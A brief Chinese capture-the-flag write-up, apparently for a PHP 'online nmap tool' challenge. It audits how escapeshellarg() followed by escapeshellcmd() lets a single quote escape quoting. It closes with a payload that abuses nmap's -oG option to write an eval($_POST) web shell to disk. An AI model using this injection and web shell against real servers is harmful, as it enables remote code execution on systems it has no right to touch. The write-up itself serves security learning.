NULL
进去就直接是源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
审计一下,直接说明了,就在1
2$host = escapeshellarg($host);
$host = escapeshellcmd($host);
对于字符串的处理上,能绕过它的单引号闭合。
前一个,esxapeshellarg()函数,会在传入的字符串首尾都加上一个’ 号,对于字符串内存在的 ‘ ,会对其加上\转义,之后再在其上在加上一对 ‘
即 ‘ -> ‘’\’’’
后一个,escapeshellcmd()函数,则会对输入字符串内的特殊字符全部加上\来转义,并会对不成对的’ 也加上’ 转义
联合使用的话,即 ‘ -> ‘’\’’’ -> ‘’\‘’\’
最后是对于 nmap 处理上,添加-oG参数,能将扫描结果存储到文件里1
payload ?host=' eval($_POST["idea"]); -oG i_have_idea.php '